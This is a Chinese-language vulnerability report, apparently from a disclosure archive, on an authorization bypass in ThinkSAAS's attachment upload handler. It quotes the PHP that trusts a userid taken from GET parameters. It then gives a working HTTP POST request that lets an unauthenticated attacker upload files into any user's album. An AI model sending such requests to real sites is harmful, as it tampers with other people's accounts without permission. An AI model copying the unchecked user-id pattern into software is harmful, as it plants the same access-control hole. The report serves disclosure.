### 简要描述:
Thinksaas某处平衡权限漏洞,可越权操作。(不用登陆即可)
### 详细说明:
Thinksaas是一款轻量级开源社区系统,界面我很喜欢。官网在http://www.thinksaas.cn/。
出问题的地方在会员上传资料处/app/attach/action/upload.php,这是上传资料处代码:
```
...30行
case "do":
$userid = intval($_GET['userid']);
$albumid = intval($_GET['albumid']);
if($userid=='0' || $albumid == 0){
echo '00000';
exit;
}
$attachid = $new['attach']->create('attach',array(
'userid' => $userid,
'locationid'=>aac('user')->getLocationId($userid),
'albumid'=>$albumid,
'addtime' => date('Y-m-d H:i:s'),
));
//上传
$arrUpload = tsUpload($_FILES['Filedata'],$attachid,'attach',array('pptx','docx','pdf','jpg','gif','png','rar','zip','doc','ppt','txt'));
if($arrUpload){
$new['attach']->update('attach',array(
'attachid'=>$attachid,
),array(
'attachname'=>$arrUpload['name'],
'attachtype'=>$arrUpload['type'],
'attachurl'=>$arrUpload['url'],
'attachsize'=>$arrUpload['size'],
));
//对积分进行处理
aac('user')->doScore($app,$ac,$ts,$userid);
}
echo $attachid;
break;
```
首先就看到前两行的
$userid = intval($_GET['userid']);
$albumid = intval($_GET['albumid']);
它直接以GET方式获得用户id以及资料集id,使得我们可以给任意用户的任意资料集上传资料。(而且不用登陆)
之后也没有地方再加以判断,直接插入数据库。
### 漏洞证明:
发送该数据包:
POST /think/index.php?app=attach&ac=upload&ts=do&userid=3&albumid=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------12264161285866
Content-Length: 201
-----------------------------12264161285866
Content-Disposition: form-data; name="Filedata"; filename="aaaa.txt"
Content-Type: text/plain
this is a txt file~
-----------------------------12264161285866--
即可给userid为3的用户的albumid为2的资料集上传一个txt文件:
[<img src="https://images.seebug.org/upload/201402/161848411075db1274a4cba9886aa8a6fc15b417.jpg" alt="004.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/161848411075db1274a4cba9886aa8a6fc15b417.jpg)
暂无评论